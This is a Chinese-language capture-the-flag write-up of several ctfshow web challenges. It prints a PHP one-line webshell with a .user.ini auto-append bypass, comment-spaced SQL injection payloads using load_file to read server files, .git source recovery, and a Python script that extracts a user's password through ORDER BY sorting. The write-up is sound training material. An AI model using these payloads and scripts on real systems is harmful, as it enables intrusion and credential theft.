ctfshow

web13

访问题目链接

image-20240506191500782

一看是一道文件上传题,上传文件进行测试

上传php会显示 error suffix 因此推测会检测格式

当文件字数超出一定字数时,显示 error file zise

常规操作就是访问 .php.bak 、.phps 、.swp等文件,看看有没有源码泄露

这道题访问 upload.php.bak 成功获取到了php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}

?>

检测了文件的大小、文件名长度、后缀名长度、黑名单限制了php后缀名和文件名

上传的文件会在本目录

对于限制了长度小于24的情况,用最简单的一句话马符合条件(23个字符)

1
<?php eval($_GET['c']);

对于限制了上传文件的类型,由于此题使用黑名单限制了php,但是没有限制其他三个字符后缀名的文件。

因此我们可以上传用户配置文件 .user.ini

原理参照:https://blog.csdn.net/cosmoslin/article/details/120793126

1
auto_apend_file="t.txt"

然后上传一个test.php,里边写上面提到的最简单一句话

此时此目录下所有php文件执行前都会包含txt文件的内容(在文件最后包含)

注意:由于限制文件内容长度,所以文件名不能写太长(配置文件内容会超出长度)

image-20240506195009022

成功调用 phpinfo 函数

使用 print_r(scandir(‘.’)); 获得一个包含本目录下所有文件的数组。

image-20240506195310332

使用 highlight_file(“”) 查看可疑文件

image-20240506195748383

得到flag

web14

image-20240506203438426

尝试数字小的,输入3时,提示了另一个页面

image-20240506203531795

image-20240506203556463

是个查询框,推测有sql注入

发现会过滤空格,尝试 注释绕过,成功

image-20240506203702377

order by 子句爆列数

1
?query=-1/**/or/**/true/**/order/**/by/**/2

发现只有一列

union爆库名

1
?query=-1/**/union/**/select/**/database()

image-20240506204344885

爆版本

image-20240506204418363

爆表(这里的informaiton_schema里的表名要带上反引号进行绕过,题目过滤了 informaiton_schema.tables)

1
-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()

后来发发现爆了一堆白爆了……..

根本就不是这么做。

仔细一想,题目提示要看题目的源码,且又是sql注入

那么——load_file()函数

使用load_file的前提:

  1. my.cfg(或者ini)里secure_file_priv的值(其他地方查去吧)
  2. 绝对路径已知(/var/www/html)
1
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

页面没反应

image-20240506203556463

查看一下源码

image-20240506214132936

看这段代码好像还需要满足一个条件,实际上已经把flag 的真实路径指出来了,就在根目录下,用load_file再读一下就好

image-20240506214811859

得到flag

红包题第7弹

image-20240507215520727

访问就是个phpinfo页面,用 HackPhpinfo 看看有没有古怪

image-20240507215640035

ban了一堆函数

看了下中间件是nginx,看看有没有目录穿越漏洞(并没有)

看看网页html有没有藏东西(没有)

没辙,开爆!

我爆出来全是200

别人 dirmap 爆出有个 .git 目录

对于 .git ,有两个工具可以还原出网页源码

  • gitHack
  • Git_Extract

这里使用 Git_Extract 成功提取出文件

image-20240507220021191

发现还有个 backdoor.php 文件

里面就是经典一句话

image-20240507220057677

由于常用函数被ban了,所以蚁剑一类远控工具无效了

这里使用 scandir 函数 配合 print_r 显示目录结构查找可疑文件

image-20240507220314337

查看里面的内容

fl4g_1s_n0t_h3r3.txt:

image-20240507220346766

这里是一长串的base64编码,解码后发现 JFIF 标签

image-20240507220436526

推测是一张 base64 格式的图片,找个在线工具转码看看

image-20240507220550038

…… whatcanisay ?

flag.sh 内容:

image-20240507220748841

这里的 sed 命令作用是:将 /var/www/flag.txt 文件中的 “flag_here” 替换为环境变量 $FLAG 的值,-i 参数表示直接在原文件中修改

看来真正的flag就在这个文件里了

1
highlight_file('/var/www/flag.txt');

成功出flag

image-20240507221152831

萌新专属红包题1

image-20240507200213692

看见登录框,条件反射是sql注入

拿burp跑了一圈测试字典没反应

于是尝试burp抓包,看各种参数,没有收获

尝试爆破

最终成功爆出了账号密码

image-20240507200450914

在burp内置浏览器进行登录操作(方便看http记录,分析跳转行为)

进入main.php

image-20240507200559247

查看源码,提示没有功能测试

image-20240507200652743

先查看HTTP记录,分析一下跳转行为,发现有猫腻

image-20240507200751837

这里的响应返回了一个flag

image-20240507200833071

base64解码直接出flag

CTFshow web1(困难题)

image-20240508193227858

根据前面做题经验,看见登录框基本都是跑一下爆破,弱口令等等

这里用 dirmap 目录爆破爆出来有一个 www.zip

image-20240508193311291

把他下载下来

image-20240508193646942

看了 login.php 和 reg.php

两个文件的源码都对sql注入常见的字符做了严格的过滤,sql注入此路不通

看了下 main.php 看起来是一个显示用户信息的页面。

我们回到登录界面,注册一个账号并登录查看一下是什么样的效果

image-20240508200115551

出来了一个用户信息表,里面是已注册的用户信息

第一行有个提示 flag_is_my_password

看来是要获取这个用户的密码

(才发现题目有提示)

image-20240508201409199

回到 main.php 源码

image-20240508201457797

关键就是这两句,我们可以控制 order by 的参数

我本人到这里就没思路了。看网上别人的 writeup 发现可以利用 ”order by 密码“ 这种方法来猜解密码

手工来操作比较复杂,所以还是得写脚本

这里找到一位大佬写的脚本:
https://blog.csdn.net/miuzzx/article/details/104514442

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
print("*")
for i in s:
#print(i)
l=""
l=k+i
l2 = k+chr(ord(i)-1)
data={'username':l,
'email':'c',
'nickname':'c',
'password':l
}
data2={'username':l,
'password':l
}
if (l=='flag'):
k='flag'
print(k)
break
session = requests.session()
r1 = session.post(url1,data)
r2 = session.post(url2,data)
r3 = session.get(url3)
t = r3.text
#print(l)
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):
k=l2
print(k)
break

我对这位大佬脚本实现原理的解析:

原网页可以控制 order by 子句的参数,这里可以设置为按照密码排序

按照密码排序时,密码是按照首字符的 ascii 值的大小来排序的。

脚本作者通过爆破字符的方式,注册新账号,并为这些新账号设置1位、2位… 45位的密码,通过查看这些新创建的账号排位是在 flag 账号的上方还是下方来推测 flag 账号的密码。

当设置的密码某一位 ascii 值比 flag 账号的密码对应位的 ascii 值小,就会排在 flag 账号的上面;如果和对应位相等,还是排在上面(因为密码的总长度);只有比对应位的 ascii 值大,这个账号才会排在 flag 账号的下面。

光说明有点抽象,直接看图:

image-20240508210539747

这位大佬的脚本通过一个很巧妙的方式来判断这些记录是在 flag 的上方还是下方(用 t.find也行,同样是返回该标签的首字符位置)

1
if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):

就是通过 指定字符串 index 的值

值更大,就是在下方

网上很多人的疑问:

为什么这个脚本跑出来的 flag 最后会是 ‘|’ 符号?

这是因为这位大佬的脚本里爆破字符的列表 ‘s’ 里面带有了 ‘|’ 符号

分别查看 ‘{‘ ‘}’ ‘|‘ 这三个字符的 ascii 码,会发现一个很有趣的现象

{:123

|:124

}:125

没错,两个花括号的 ascii 码不是连着的。

image-20240508211342947

原理就研究到这里,我们接下来跑一下这个代码

image-20240508211535898

flag 到手